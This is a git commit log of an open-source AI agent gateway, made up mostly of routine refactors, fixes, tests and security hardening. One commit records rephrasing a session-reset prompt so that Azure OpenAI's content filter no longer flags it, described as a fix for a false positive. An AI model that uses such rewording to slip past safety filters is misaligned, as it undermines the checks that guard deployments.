8de94abfbc refactor: share chat abort test helpers 2026-03-13 17:29:59 +00:00
Peter Steinberger
4a00cefe63 refactor: share outbound plugin test results 2026-03-13 17:29:59 +00:00
Peter Steinberger
369430f9ab refactor: share tlon upload test mocks 2026-03-13 17:29:59 +00:00
Peter Steinberger
6a812b621d ci: modernize GitHub Actions workflow versions 2026-03-13 16:57:23 +00:00
Peter Steinberger
e358d57fb5 refactor: share feishu reply fallback flow 2026-03-13 16:51:59 +00:00
Peter Steinberger
a14a32695d refactor: share feishu reaction client setup 2026-03-13 16:51:59 +00:00
Peter Steinberger
49f3fbf726 fix: restore cron manual run type narrowing 2026-03-13 16:51:59 +00:00
Peter Steinberger
acfb95e2c6 refactor: share tlon channel put requests 2026-03-13 16:51:59 +00:00
Peter Steinberger
e351a86290 refactor: share node wake test apns fixtures 2026-03-13 16:51:59 +00:00
Peter Steinberger
3ccf5f9dc8 refactor: share imessage inbound test fixtures 2026-03-13 16:51:59 +00:00
Peter Steinberger
592dd35ce9 refactor: share directory config helpers 2026-03-13 16:51:59 +00:00
Peter Steinberger
b6b5e5caac refactor: deduplicate push test fixtures 2026-03-13 16:51:59 +00:00
Peter Steinberger
fb40b09157 refactor: share feishu media client setup 2026-03-13 16:51:59 +00:00
Peter Steinberger
6b04ab1e35 refactor: share teams drive upload flow 2026-03-13 16:51:59 +00:00
Peter Steinberger
e94ac57f80 refactor: reuse gateway talk provider schema fields 2026-03-13 16:51:59 +00:00
Peter Steinberger
7b8e48ffb6 refactor: share cron manual run preflight 2026-03-13 16:51:59 +00:00
Peter Steinberger
1ff8de3a8a test: deduplicate session target discovery cases 2026-03-13 16:51:59 +00:00
Peter Steinberger
a4525b721e refactor: deduplicate nextcloud send context 2026-03-13 16:51:59 +00:00
Peter Steinberger
6b07604d64 refactor: share nextcloud target normalization 2026-03-13 16:51:59 +00:00
Peter Steinberger
ef8cc3d0fb refactor: share tlon inline text rendering 2026-03-13 16:51:59 +00:00
Peter Steinberger
966653e174 ci: suppress expected zizmor pull_request_target findings 2026-03-13 16:48:34 +00:00
Peter Steinberger
41718404a1 ci: opt workflows into Node 24 action runtime 2026-03-13 16:41:22 +00:00
Peter Steinberger
261a40dae1 fix: narrow acpx health failure handling 2026-03-13 16:30:27 +00:00
Peter Steinberger
3f37afd18c refactor: extract acpx event builders 2026-03-13 16:30:27 +00:00
Peter Steinberger
501837058c refactor: share outbound media payload sequencing 2026-03-13 16:30:27 +00:00
Peter Steinberger
a37e25fa21 refactor: deduplicate media store writes 2026-03-13 16:30:27 +00:00
Peter Steinberger
f4ed317083 refactor: deduplicate acpx availability checks 2026-03-13 16:30:27 +00:00
Peter Steinberger
202765c810 fix: quiet local windows gateway auth noise 2026-03-13 16:22:13 +00:00
Peter Steinberger
394fd87c2c fix: clarify gated core tool warnings 2026-03-13 15:38:07 +00:00
Max aka Mosheh
55e79adf69 fix: resolve target agent workspace for cross-agent subagent spawns (#40176)
Merged via squash.

Prepared head SHA: 2378e40383
Co-authored-by: moshehbenavraham <17122072+moshehbenavraham@users.noreply.github.com>
Co-authored-by: mcaxtr <7562095+mcaxtr@users.noreply.github.com>
Reviewed-by: @mcaxtr
2026-03-13 12:09:51 -03:00
Val Alexander
ca414735b9 ui: mobile navigation drawer, theme variant refinements & skills fix (#45107) thanks @BunsDev
## Summary

- Mobile navigation drawer with slide-over behavior at ≤1100px
- Topnav & sidebar shell restructure with brand eyebrow
- Chat model selection picker with optimistic caching + rollback
- Nav breakpoint gap fix (769–1100px toggle visibility)
- Skills page autofill pollution fix (autocomplete=off)
- Delete confirm popover positioning (left/right by role)
- Effective collapsed state propagation to nav items in drawer mode
- Duplicate CSS selector consolidation
- Session key race condition fixes in async model patching
- 2 new test files + expanded test coverage (23 tests)

Co-authored-by: Nova <nova@openclaw.ai>
2026-03-13 09:44:05 -05:00
정우용
72b6a11a83 fix: preserve persona and language continuity in compaction summaries (#10456)
Merged via squash.

Prepared head SHA: 4518fb20e1
Co-authored-by: keepitmello <71975659+keepitmello@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-13 07:40:32 -07:00
Peter Steinberger
80e7da92ce fix: stabilize macos daemon onboarding 2026-03-13 13:47:09 +00:00
Radek Sienkiewicz
0a3b9a9a09 fix(ui): keep shared auth on insecure control-ui connects (#45088)
Merged via squash.

Prepared head SHA: 99eb3fd928
Co-authored-by: velvet-shark <126378+velvet-shark@users.noreply.github.com>
Co-authored-by: velvet-shark <126378+velvet-shark@users.noreply.github.com>
Reviewed-by: @velvet-shark
2026-03-13 14:25:31 +01:00
Peter Steinberger
3cf06f7939 docs(plugins): clarify workspace shadowing 2026-03-13 13:15:46 +00:00
Peter Steinberger
be8d51c301 fix(node-host): harden perl approval binding 2026-03-13 13:09:36 +00:00
Peter Steinberger
2f03de029c fix(node-host): harden pnpm approval binding 2026-03-13 12:59:55 +00:00
ingyukoh
af4731aa5f fix(discovery): add missing domain to wideArea Zod config schema (#35615)
Merged via squash.

Prepared head SHA: d81d3321b6
Co-authored-by: ingyukoh <6015960+ingyukoh@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-13 15:52:54 +03:00
Sovtoshi
e9b1e856a0 chore(gitignore): add docker-compose override (#42879) 2026-03-13 15:25:48 +03:00
Nimrod Gutman
496176d738 feat(ios): add onboarding welcome pager (#45054)
* feat(ios): add onboarding welcome pager

* feat(ios): add onboarding welcome pager (#45054) (thanks @ngutman)
2026-03-13 14:24:15 +02:00
Alex Zaytsev
61429230b2 fix(signal): add groups config to Signal channel schema (#27199)
Merged via squash.

Prepared head SHA: 4ba4a39ddf
Co-authored-by: unisone <32521398+unisone@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-13 15:14:30 +03:00
stim64045-spec
4e68684bd2 fix: restore web fetch firecrawl config in runtime zod schema (#42583)
Merged via squash.

Prepared head SHA: e37f965b8e
Co-authored-by: stim64045-spec <259352523+stim64045-spec@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-13 14:56:26 +03:00
Ayaan Zaidi
45721d5dec fix: polish Android QR scanner onboarding (#45021) 2026-03-13 17:13:54 +05:30
Ayaan Zaidi
b934cb49c7 fix(android): use Google Code Scanner for onboarding QR 2026-03-13 17:13:54 +05:30
atian8179
b72c87712d fix(config): add missing params field to agents.list[] validation schema (#41171)
Merged via squash.

Prepared head SHA: 9522761cf1
Co-authored-by: atian8179 <255488364+atian8179@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-13 14:29:36 +03:00
Ayaan Zaidi
f9ea879729 docs(contributing): update Android app ownership 2026-03-13 15:19:16 +05:30
xingsy97
2c39cd0953 fix(agents): rephrase session reset prompt to avoid Azure content filter (#43403)
* fix(agents): rephrase session reset prompt to avoid Azure content filter

Azure OpenAI's content filter flags the phrase 'Execute your Session
Startup sequence now' as potentially harmful, causing /new and /reset
to return 400 for all Azure-hosted deployments.

Replace 'Execute ... now' with 'Run your Session Startup sequence' in
session-reset-prompt.ts and post-compaction-context.ts. The semantics
are identical but the softer phrasing avoids the false-positive.

Closes #42769

* ci: retrigger checks (windows shard timeout)

* fix: add changelog for Azure startup prompt fix (#43403) (thanks @xingsy97)

---------

Co-authored-by: Ayaan Zaidi <hi@obviy.us>
2026-03-13 15:07:03 +05:30
xingsy97
b28a2257f7 test(config): cover requiresOpenAiAnthropicToolPayload in compat schema fixture
Adds the missing requiresOpenAiAnthropicToolPayload field to the
model-compat schema acceptance test, guarding against regressions
like #43339 where onboarding fails with "Unrecognized key".

Closes #43339
2026-03-13 15:02:28 +05:30
cheapestinference
60cb1d683c fix(agents): respect explicit user compat overrides for non-native openai-completions (#44432)
Reviewed-by: @frankekn
2026-03-13 17:30:24 +08:00
Kaneki
84428bbba6 Android: fix HttpURLConnection leak in TalkModeVoiceResolver (#43780)
* Android: fix HttpURLConnection leak in TalkModeVoiceResolver.listVoices

* fix null errorStream NPE and preserve HTTP keep-alive

* fix: restore voice resolver disconnect cleanup

---------

Co-authored-by: Ayaan Zaidi <hi@obviy.us>
2026-03-13 14:59:21 +05:30
Jealous
4d3a2f674b Docker: add OPENCLAW_TZ timezone support (#34119)
* Docker: add OPENCLAW_TZ timezone support

* fix: validate docker timezone names

* fix: support Docker timezone override (#34119) (thanks @Lanfei)

---------

Co-authored-by: Ayaan Zaidi <hi@obviy.us>
2026-03-13 14:51:55 +05:30
Jealous
a3eed2b70f fix(agents): avoid injecting memory file twice on case-insensitive mounts (#26054)
* fix(agents): avoid injecting memory file twice on case-insensitive mounts

On case-insensitive file systems mounted into Docker from macOS, both
MEMORY.md and memory.md pass fs.access() even when they are the same
underlying file. The previous dedup via fs.realpath() failed in this
scenario because realpath does not normalise case through the Docker
mount layer, so both paths were treated as distinct entries and the
same content was injected into the bootstrap context twice, wasting
tokens.

Fix by replacing the collect-then-dedup approach with an early-exit:
try MEMORY.md first; fall back to memory.md only when MEMORY.md is
absent. This makes the function return at most one entry regardless
of filesystem case-sensitivity.

* docs: clarify singular memory bootstrap fallback

* fix: note memory bootstrap fallback docs and changelog (#26054) (thanks @Lanfei)

---------

Co-authored-by: Ayaan Zaidi <hi@obviy.us>
2026-03-13 14:39:51 +05:30
Ayaan Zaidi
7638052178 fix: note android chat settings redesign (#44894) 2026-03-13 14:31:39 +05:30
Ayaan Zaidi
c04544891d feat(android): consolidate Settings into grouped card sections
Remove header bloat, merge Node info into a single Device card,
group permissions into Media/Notifications/Data Access cards with
internal dividers, and combine Screen+Debug into Preferences.
Sections reduced from 9 to 6.
2026-03-13 14:31:39 +05:30
Ayaan Zaidi
8b0e16a1c8 feat(android): soften chat role labels and deduplicate session header
Rename role labels to You/OpenClaw/System, update streaming label to
OpenClaw · Live, and remove the redundant SESSION row + Connected pill
since the top bar and chip row already convey both.
2026-03-13 14:31:39 +05:30
Ayaan Zaidi
c761b5b8a8 feat(android): compact chat composer layout
Remove MESSAGE label and divider, let text field auto-size instead
of fixed 92dp, and merge Detail/Attach into the bottom action row.
2026-03-13 14:31:39 +05:30
Ayaan Zaidi
720b9d2c45 feat(android): add speaker label and status pill to Voice tab
Add text label under speaker toggle, balance layout with matching
spacer column, and wrap status text in a colored pill.
2026-03-13 14:31:39 +05:30
Ayaan Zaidi
beff0cf02c feat(android): redesign Connect tab with unified status cards
Merge endpoint and status into a single grouped card with icons.
Split connect/disconnect into context-aware buttons.
2026-03-13 14:31:39 +05:30
Jealous
e986aa175f docs: fix session key :dm: → :direct (#26506) 2026-03-13 14:28:33 +05:30
Frank Yang
5ca0233db0 fix(agents): drop Anthropic thinking blocks on replay (#44843)
* agents: drop Anthropic thinking blocks on replay

* fix: extend anthropic replay sanitization openclaw#44429 thanks @jmcte

* fix: extend anthropic replay sanitization openclaw#44843 thanks @jmcte

* test: add bedrock replay sanitization coverage openclaw#44843

* test: cover anthropic provider drop-thinking hints openclaw#44843

---------

Co-authored-by: johnmteneyckjr <john.m.teneyck@gmail.com>
2026-03-13 16:57:56 +08:00
Frank Yang
0705225274 docs: fix changelog credit for xhigh help (#44874) 2026-03-13 16:40:53 +08:00
Frank Yang
4e27c9b958 CLI: align xhigh thinking help text (#44819)
Merged via squash.

Prepared head SHA: ff1f127176
Co-authored-by: frankekn <4488090+frankekn@users.noreply.github.com>
Co-authored-by: frankekn <4488090+frankekn@users.noreply.github.com>
Reviewed-by: @frankekn
2026-03-13 16:37:11 +08:00
Frank Yang
f07033ed3f fix: address delivery dedupe review follow-ups (#44666)
Merged via squash.

Prepared head SHA: 8e6d254cc4
Co-authored-by: frankekn <4488090+frankekn@users.noreply.github.com>
Co-authored-by: frankekn <4488090+frankekn@users.noreply.github.com>
Reviewed-by: @frankekn
2026-03-13 16:18:01 +08:00
Jonatan
5b06619c67 Updated default model from openai-codex/gpt-5.3-codex to openai-codex/gpt-5.4 in tests. (#44367)
Merged via squash.

Prepared head SHA: c372ba691b
Co-authored-by: jrrcdev <19454127+jrrcdev@users.noreply.github.com>
Co-authored-by: dvrshil <81693876+dvrshil@users.noreply.github.com>
Reviewed-by: @dvrshil
2026-03-13 00:13:54 -07:00
Ayaan Zaidi
d40a4e343c fix: add gateway session reset routing coverage (#44773) (thanks @Lanfei) 2026-03-13 12:39:44 +05:30
Jealous
3066607037 fix(session): preserve lastAccountId and lastThreadId on session reset 2026-03-13 12:39:44 +05:30
Ayaan Zaidi
aae75b5e57 feat(android): redesign onboarding flow UI
- Welcome: replace bullet list with icon+subtitle feature cards
- Gateway: simplify to single instruction line, collapse advanced by default, remove verbose developer text
- Permissions: group into System/Media/Personal Data sections, rewrite subtitles to plain English, style "Not granted" with warning color
- Review: replace plain text fields with icon cards matching Welcome style, add colored status cards for connect/pairing states
- Remove redundant "FIRST RUN" label, "Step X of 4" text, and StepRailWrap dividers
2026-03-13 12:25:39 +05:30
Frank Yang
80e6701959 test: stabilize sanitize session history smoke checks 2026-03-13 14:50:03 +08:00
Frank Yang
fa6ff39b9b fix: recover outbound plugins from the active registry 2026-03-13 14:32:07 +08:00
Ayaan Zaidi
402f2556b9 fix(android): clip CommandBlock accent bar to rounded container bounds 2026-03-13 11:39:23 +05:30
Josh Lehman
93e7fcaa73 docs: move post-release changelog entries to Unreleased (#44691)
4 entries were added to the 2026.3.12 section after the v2026.3.12
tag was cut. Move them to ## Unreleased where they belong.

Verified: 2026.3.12 section now matches the 74 entries present at
the v2026.3.12 release tag (28d64c48e).
2026-03-12 22:42:06 -07:00
Peter Steinberger
a0f09a4589 test: fix windows startup fallback mock typing 2026-03-13 05:00:55 +00:00
Peter Steinberger
32d8ec9482 fix: harden windows gateway fallback launch 2026-03-13 04:58:35 +00:00
Josh Lehman
6d0939d84e fix: handle Discord gateway metadata fetch failures (#44397)
Merged via squash.

Prepared head SHA: edd17c0eff
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-12 21:52:17 -07:00
Ayaan Zaidi
8023f4c701 fix(telegram): thread media transport policy into SSRF (#44639)
* fix(telegram): preserve media download transport policy

* refactor(telegram): thread media transport policy

* fix(telegram): sync fallback media policy

* fix: note telegram media transport fix (#44639)
2026-03-13 10:11:43 +05:30
Peter Steinberger
c38e7b0270 test(utils): await temp dir cleanup in async tests 2026-03-13 04:38:46 +00:00
Peter Steinberger
16ececf0a6 chore: bump version to 2026.3.13 2026-03-13 04:38:32 +00:00
Efe Büken
771066d122 fix(compaction): use full-session token count for post-compaction sanity check (#28347)
Merged via squash.

Prepared head SHA: cf4eab1c51
Co-authored-by: efe-arv <259833796+efe-arv@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-12 21:26:30 -07:00
Peter Steinberger
70d7a0854c chore: update appcast for 2026.3.12 release 2026-03-13 04:26:20 +00:00
Peter Steinberger
fc2b796f02 test(proxy): make env proxy tests windows-safe 2026-03-13 04:17:10 +00:00
Peter Steinberger
6472949f25 fix(plugins): normalize bundled provider ids 2026-03-13 04:10:06 +00:00
Cypherm
61d219cb39 feat: show status reaction during context compaction (#35474)
Merged via squash.

Prepared head SHA: 145a7b7c4e
Co-authored-by: Cypherm <28184436+Cypherm@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-12 21:06:15 -07:00
Peter Steinberger
4e872521f0 fix(ui): restore native web /status 2026-03-13 04:04:09 +00:00
Peter Steinberger
0c8ea8d987 test(ui): add jsdom runtime for vitest dom suites 2026-03-13 03:50:52 +00:00
Peter Steinberger
bffce8ea4f fix(ui): harden avatar fallback regressions 2026-03-13 03:46:30 +00:00
Peter Steinberger
4656317770 fix(ui): resolve control chat avatar fallback 2026-03-13 03:42:11 +00:00
Vincent Koc
7509c4a057 UI: fix mounted avatar meta fallback 2026-03-12 23:39:53 -04:00
Peter Steinberger
c52f23f794 test(qmd): make windows cli fixtures explicit 2026-03-13 03:37:41 +00:00
Vincent Koc
fd07132389 UI: fix control chat logo fallback 2026-03-12 23:36:17 -04:00
Peter Steinberger
f803215474 fix(ci): restore full gate 2026-03-13 03:34:47 +00:00
scoootscooob
255414032f changelog: move ACP final-snapshot entry to active 2026.3.12 section 2026-03-12 20:31:03 -07:00
Peter Steinberger
0f290fe6d6 fix: narrow Slack outbound blocks opt type 2026-03-13 03:29:00 +00:00
scoootscooob
17c954c46e fix(acp): preserve final assistant message snapshot before end_turn (#44597)
Process messageData via handleDeltaEvent for both delta and final states
before resolving the turn, so ACP clients no longer drop the last visible
assistant text when the gateway sends the final message body on the
terminal chat event.

Closes #15377
Based on #17615

Co-authored-by: PJ Eby <3527052+pjeby@users.noreply.github.com>
2026-03-12 20:23:57 -07:00
Peter Steinberger
2201d533fd fix: enable fast mode for isolated cron runs 2026-03-13 03:21:57 +00:00
Vincent Koc
42efd98ff8 Slack: support Block Kit payloads in agent replies (#44592)
* Slack: route reply blocks through outbound adapter

* Slack: cover Block Kit outbound payloads

* Changelog: add Slack Block Kit agent reply entry
2026-03-12 23:18:59 -04:00
Peter Steinberger
433e65711f fix: fall back to a startup entry for windows gateway install 2026-03-13 03:18:17 +00:00
Peter Steinberger
a60a4b4b5e test(gateway): avoid hoisted reply mock tdz 2026-03-13 03:17:51 +00:00
Peter Steinberger
0979264ed5 test(qmd): make windows cli fixtures explicit 2026-03-13 03:13:56 +00:00
Peter Steinberger
496ca3a637 fix(feishu): fail closed on webhook signature checks 2026-03-13 03:13:56 +00:00
Peter Steinberger
ec3c20d96d test: harden plugin fixture permissions on macos 2026-03-13 03:13:25 +00:00
Peter Steinberger
fb9984a774 fix(memory): stop forcing Windows qmd cmd shims 2026-03-13 03:09:14 +00:00
Ayaan Zaidi
ff2368af57 fix: stop false cron payload-kind warnings in doctor (#44012) (thanks @shuicici) 2026-03-13 08:38:52 +05:30
shuicici
42613b9baa fix(cron): compare raw value not trimmed in normalizePayloadKind 2026-03-13 08:38:52 +05:30
shuicici
3e2c776aaf fix(cron): avoid false legacy payload kind migrations 2026-03-13 08:38:52 +05:30
Peter Steinberger
21fa50f564 test: harden plugin env-scoped fixtures 2026-03-13 03:01:47 +00:00
Peter Steinberger
08da1b47ba fix: use build-stage image for docker live tests 2026-03-13 02:59:36 +00:00
Peter Steinberger
6b14e6b55b test(commands): align slash-command config persistence coverage 2026-03-13 02:51:55 +00:00
Peter Steinberger
7dc447f79f fix(gateway): strip unbound scopes for shared-auth connects 2026-03-13 02:51:55 +00:00
Peter Steinberger
b858d6c3a9 fix: clarify windows onboarding gateway health 2026-03-13 02:40:40 +00:00
Dinakar Sarbada
23c7fc745f refactor(agents): replace console.warn with SubsystemLogger in compaction-safeguard.ts (#9974)
Merged via squash.

Prepared head SHA: 35dcc5ba35
Co-authored-by: dinakars777 <250428393+dinakars777@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-12 19:34:55 -07:00
Peter Steinberger
c8439f6587 fix: import oauth types from the oauth entrypoint 2026-03-13 02:17:00 +00:00
Peter Steinberger
296a106f49 test: stabilize hooks loader log assertion on Windows 2026-03-13 02:17:00 +00:00
Peter Steinberger
4fb3b88e57 docs: reorder latest release changelog 2026-03-13 02:11:50 +00:00
Peter Steinberger
d6d01f853f fix: align Ollama onboarding docs before landing (#43473) (thanks @BruceMacD)
(cherry picked from commit 19fa274343a102ca85c7679ec28c5a3503a99f55)
2026-03-13 02:03:54 +00:00
Bruce MacDonald
f906bf58db docs(ollama): update onboarding flow
Co-Authored-By: Jeffrey Morgan <jmorganca@gmail.com>
(cherry picked from commit e8ca2ff4e522f2d971801a537b3c4fdfecde0711)
2026-03-13 02:03:54 +00:00
Peter Steinberger
0068f55dd8 fix(memory): fail closed for Windows qmd wrappers 2026-03-13 01:56:20 +00:00
Peter Steinberger
ddeb423944 fix: quiet Telegram command overflow retry logs 2026-03-13 01:45:56 +00:00
Peter Steinberger
de3e6a8c5b fix(routing): require ids for slack and msteams allowlists 2026-03-13 01:44:42 +00:00
Peter Steinberger
f36d8c09f1 feat(zalouser): audit mutable group allowlists 2026-03-13 01:44:42 +00:00
Peter Steinberger
88244c0942 refactor(zalouser): reuse shared name matching helper 2026-03-13 01:44:42 +00:00
Peter Steinberger
c25e46a433 chore: prepare 2026.3.12 release 2026-03-13 01:38:20 +00:00
Peter Steinberger
72ba05504e test: resolve rebase conflicts in gateway coverage 2026-03-13 01:38:19 +00:00
Nachx639
e951a42bcb fix(mac): adopt canonical session key and add reset triggers (#10898)
Add shared native chat handling for /new, /reset, and /clear.

This also aligns main session key handling in the shared chat UI and includes follow-up test and CI fixes needed to keep the branch mergeable.

Co-authored-by: Nachx639 <71144023+Nachx639@users.noreply.github.com>
Co-authored-by: Luke <92253590+ImLukeF@users.noreply.github.com>
2026-03-13 12:35:39 +11:00
Peter Steinberger
268a8592de fix: avoid ineffective dynamic imports 2026-03-13 01:33:37 +00:00
Peter Steinberger
b14a5c6713 fix(zalouser): require ids for group allowlist auth 2026-03-13 01:31:17 +00:00
Peter Steinberger
c80da4e72f refactor: validate provider plugin metadata 2026-03-13 01:19:35 +00:00
Peter Steinberger
87ad1ce9b1 refactor: add non-interactive provider plugin setup 2026-03-13 01:19:35 +00:00
Vincent Koc
bcbf429d6b Merge branch 'main' of https://github.com/openclaw/openclaw
* 'main' of https://github.com/openclaw/openclaw:
  build: sync bundled plugin versions
2026-03-12 21:06:55 -04:00
Vincent Koc
fed24a1311 build: sync bundled plugin versions 2026-03-12 21:06:12 -04:00
Vincent Koc
f12cd92bb3 Merge branch 'main' of https://github.com/openclaw/openclaw
* 'main' of https://github.com/openclaw/openclaw:
  build: update deps and fix vitest 4 regressions
2026-03-12 21:04:02 -04:00
Peter Steinberger
4dd4e36450 build: update deps and fix vitest 4 regressions 2026-03-13 01:02:00 +00:00
Vincent Koc
8661c271e9 Gateway: preserve trusted-proxy browser scopes 2026-03-12 21:00:43 -04:00
Vincent Koc
b2e21e3792 fix(security): strip Mongolian selectors in exec obfuscation detector 2026-03-12 21:00:00 -04:00
Peter Steinberger
9bbdb5ca94 test(live): add codex instructions to spark probe 2026-03-13 00:53:21 +00:00
Peter Steinberger
d5b3f2ed71 fix(models): keep codex spark codex-only 2026-03-13 00:53:21 +00:00
Vincent Koc
d4f535b203 fix(hooks): fail closed on unreadable loader paths (#44437)
* Hooks: fail closed on unreadable loader paths

* Changelog: note hooks loader hardening

* Tests: cover sanitized hook loader logs

* Hooks: use realpath containment for legacy loaders

* Hooks: sanitize unreadable workspace log path
2026-03-12 20:47:30 -04:00
Vincent Koc
2649c03cdb fix(hooks): dedupe repeated agent deliveries by idempotency key (#44438)
* Hooks: add hook idempotency key resolution

* Hooks: dedupe repeated agent deliveries by idempotency key

* Tests: cover hook idempotency dedupe

* Changelog: note hook idempotency dedupe

* Hooks: cap hook idempotency key length

* Gateway: hash hook replay cache keys

* Tests: cover hook replay key hardening
2026-03-12 20:43:38 -04:00
Peter Steinberger
d96069f0df feat: add windows update package spec override 2026-03-12 23:56:48 +00:00
Peter Steinberger
91b701e183 fix: harden windows native updates 2026-03-12 23:42:14 +00:00
Peter Steinberger
35aafd7ca8 feat: add Anthropic fast mode support 2026-03-12 23:39:03 +00:00
Josh Lehman
52e2a7747a Revert "feat: add --no-test flag to prepare-gates"
This reverts commit ee6bdb3bab.
2026-03-12 16:37:50 -07:00
Peter Steinberger
d5bffcdeab feat: add fast mode toggle for OpenAI models 2026-03-12 23:31:31 +00:00
Peter Steinberger
ddcaec89e9 fix(node-host): fail closed on ruby approval preload flags 2026-03-12 23:23:54 +00:00
Josh Lehman
ee6bdb3bab feat: add --no-test flag to prepare-gates
Allows skipping the full test suite during prepare phase.
Testing is deferred to the dedicated Test phase in the pipeline.
2026-03-12 16:22:37 -07:00
Peter Steinberger
86a3149b2e fix: harden windows npm runtime path 2026-03-12 23:03:19 +00:00
Vincent Koc
92191fcd68 deps: bump openclaw to 2026.3.11
Raise internal OpenClaw constraints to 2026.3.11 and regenerate pnpm lockfile to remove the vulnerable 2026.3.8 resolution.
2026-03-12 19:00:49 -04:00
Peter Steinberger
212afb6950 refactor: clarify pairing setup auth labels 2026-03-12 22:46:28 +00:00
Peter Steinberger
01e4845f6d refactor: extract websocket handshake auth helpers 2026-03-12 22:46:28 +00:00
Peter Steinberger
1c7ca391a8 refactor: trim bootstrap token metadata 2026-03-12 22:46:28 +00:00
Peter Steinberger
589aca0e6d refactor: unify gateway connect auth selection 2026-03-12 22:46:28 +00:00
Peter Steinberger
2c8f31135b test: cover provider plugin boundaries 2026-03-12 22:43:55 +00:00
Peter Steinberger
300a093121 refactor: split simple api-key auth providers 2026-03-12 22:38:58 +00:00
Peter Steinberger
fd2b06d463 refactor: split non-interactive auth choice providers 2026-03-12 22:38:58 +00:00
Peter Steinberger
21d1032ca4 refactor: remove legacy provider apply shims 2026-03-12 22:38:58 +00:00
Peter Steinberger
7fd4dea1af refactor: share openai-compatible local discovery 2026-03-12 22:38:58 +00:00
Peter Steinberger
9692dc7668 fix(security): harden nodes owner-only tool gating 2026-03-12 22:27:52 +00:00
Josh Lehman
2622d2453b fix(ci): restore generated protocol swift outputs (#44411)
Regenerate the Swift protocol models so PushTestResult keeps the transport field required by the current gateway schema, and update protocol:check to diff both generated Swift destinations because the generator writes both files.

Regeneration-Prompt: |
  Investigate the protocol CI failure on current origin/main rather than assuming the earlier fix still held. Confirm whether the generated Swift outputs drifted from the TypeScript gateway schema, identify whether the regression was reintroduced by a later commit, and keep the patch minimal: restore the generated Swift outputs from the existing schema and tighten the protocol check so it verifies every Swift file the generator writes.
2026-03-12 15:25:38 -07:00
Peter Steinberger
319766639a docs: explain plugin architecture 2026-03-12 22:24:35 +00:00
Peter Steinberger
d83491e751 feat: modularize provider plugin architecture 2026-03-12 22:24:35 +00:00
Peter Steinberger
bf89947a8e fix: switch pairing setup codes to bootstrap tokens 2026-03-12 22:23:07 +00:00
ToToKr
9cd54ea882 fix: skip cache-ttl append after compaction to prevent double compaction (#28548)
Merged via squash.

Prepared head SHA: a4114a52bc
Co-authored-by: MoerAI <26067127+MoerAI@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-12 15:17:18 -07:00
jnMetaCode
7332e6d609 fix(failover): classify HTTP 422 as format and OpenRouter credits as billing (#43823)
Merged via squash.

Prepared head SHA: 4f48e977fe
Co-authored-by: jnMetaCode <12096460+jnMetaCode@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-13 00:50:28 +03:00
Peter Steinberger
268e036172 refactor(test): share hook request handler fixtures 2026-03-12 21:44:58 +00:00
Peter Steinberger
eece586747 refactor(security): reuse hook agent routing normalization 2026-03-12 21:44:06 +00:00
Peter Steinberger
445ff0242e refactor(gateway): cache hook proxy config in runtime state 2026-03-12 21:43:36 +00:00
Peter Steinberger
1d986f1c01 refactor(gateway): move request client ip resolution to net 2026-03-12 21:41:51 +00:00
Peter Steinberger
904db27019 fix(security): audit unrestricted hook agent routing 2026-03-12 21:36:19 +00:00
Peter Steinberger
4da617e178 fix(gateway): honor trusted proxy hook auth rate limits 2026-03-12 21:35:57 +00:00
Rodrigo Uroz
143e593ab8 Compaction Runner: wire post-compaction memory sync (#25561)
Merged via squash.

Prepared head SHA: 6d2bc02cc1
Co-authored-by: rodrigouroz <384037+rodrigouroz@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-12 14:24:29 -07:00
bwjoke
fd568c4f74 fix(failover): classify ZenMux quota-refresh 402 as rate_limit (#43917)
Merged via squash.

Prepared head SHA: 1d58a36a77
Co-authored-by: bwjoke <1284814+bwjoke@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-13 00:06:43 +03:00
Wayne
d93db0fc13 fix(failover): classify z.ai network_error stop reason as retryable timeout (#43884)
Merged via squash.

Prepared head SHA: 9660f6cd5b
Co-authored-by: hougangdev <105773686+hougangdev@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-13 00:00:44 +03:00
Andrew Demczuk
3700279b14 docs: codify American English spelling convention (#44159) 2026-03-12 14:45:17 -05:00
Josh Lehman
50cc375c11 feat(context-engine): plumb sessionKey into all ContextEngine methods (#44157)
Merged via squash.

Prepared head SHA: 0b341f6f4c
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-12 12:43:36 -07:00
Marcus Castro
e525957b4f fix(sandbox): restore spawned workspace handoff (#44307) 2026-03-12 16:12:08 -03:00
Vincent Koc
4ca84acf24 fix(runtime): duplicate messages, share singleton state across bundled chunks (#43683)
* Tests: add fresh module import helper

* Process: share command queue runtime state

* Agents: share embedded run runtime state

* Reply: share followup queue runtime state

* Reply: share followup drain callback state

* Reply: share queued message dedupe state

* Reply: share inbound dedupe state

* Tests: cover shared command queue runtime state

* Tests: cover shared embedded run runtime state

* Tests: cover shared followup queue runtime state

* Tests: cover shared inbound dedupe state

* Tests: cover shared Slack thread participation state

* Slack: share sent thread participation state

